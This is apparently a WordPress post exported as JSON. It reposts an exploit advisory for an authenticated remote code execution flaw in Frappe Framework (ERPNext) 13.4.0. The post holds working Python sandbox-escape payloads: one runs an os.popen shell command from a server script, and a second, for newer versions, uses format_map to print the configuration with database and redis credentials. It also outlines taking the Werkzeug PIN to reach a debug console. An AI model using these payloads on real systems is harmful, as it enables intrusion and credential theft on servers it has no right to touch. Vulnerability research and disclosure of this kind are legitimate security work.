# Exploit Title: Frappe Framework (ERPNext) 13.4.0 – Remote Code Execution (Authenticated)
\n# Exploit Author: Sander Ferdinand
\n# Date: 2023-06-07
\n# Version: 13.4.0
\n# Vendor Homepage: http:\/\/erpnext.org
\n# Software Link: https:\/\/github.com\/frappe\/frappe\/
\n# Tested on: Ubuntu 22.04
\n# CVE : none<\/p>\n
Silly sandbox escape.<\/p>\n
> Frappe Framework uses the RestrictedPython library to restrict access to methods available for server scripts.<\/p>\n
Requirements:
\n– ‘System Manager’ role (which is not necessarily the admin)
\n– Server config `server_script_enabled` set to `true` (likely)<\/p>\n
Create a new script over at `\/app\/server-script`, set type to API, method to ‘lol’ and visit `\/api\/method\/lol` to execute payload.<\/p>\n
“`python3
\nhax = “echo pwned > \/tmp\/pwned”
\ng=({k:v(‘os’).popen(hax).read() for k,v in g.gi_frame.f_back.f_back.f_back.f_back.f_builtins.items() if ‘import’ in k}for x in(0,))
\nfor x in g:0
\n“`<\/p>\n
Context:
\n– https:\/\/ur4ndom.dev\/posts\/2023-07-02-uiuctf-rattler-read\/
\n– https:\/\/gist.github.com\/lebr0nli\/c2fc617390451f0e5a4c31c87d8720b6
\n– https:\/\/frappeframework.com\/docs\/v13\/user\/en\/desk\/scripting\/server-script
\n– https:\/\/github.com\/frappe\/frappe\/blob\/v13.4.0\/frappe\/utils\/safe_exec.py#L42<\/p>\n
Bonus:<\/p>\n
More recent versions (14.40.1 as of writing) block `gi_frame` but there is still a read primitive to escape the sandbox via `format_map`:<\/p>\n
“`python3
\nhax = “””
\n{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_globals[frappe].local.conf}
\n“””.strip()<\/p>\n
g=(frappe.msgprint(hax.format_map({‘g’: g}))for x in(0,))
\nfor x in g:0
\n“`<\/p>\n
Which prints the Frappe config like database\/redis credentials, etc.<\/p>\n
In the unlikely case that Werkzeug is running with `use_evalex`, you may use the above method to retreive the werkzeug secret PIN, then browse to `\/console` (or raise an exception) for RCE.<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Frappe Framework (ERPNext) 13.4.0 – Remote Code Execution (Authenticated) # Exploit Author: Sander Ferdinand # Date: 2023-06-07 # Version: 13.4.0 # Vendor Homepage: http:\/\/erpnext.org # Software Link: https:\/\/github.com\/frappe\/frappe\/ # Tested on: Ubuntu 22.04 # CVE : none Silly sandbox escape. > Frappe Framework uses the RestrictedPython library to restrict access to methods …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-44884","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/44884","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=44884"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/44884\/revisions"}],"predecessor-version":[{"id":45090,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/44884\/revisions\/45090"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=44884"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=44884"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=44884"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}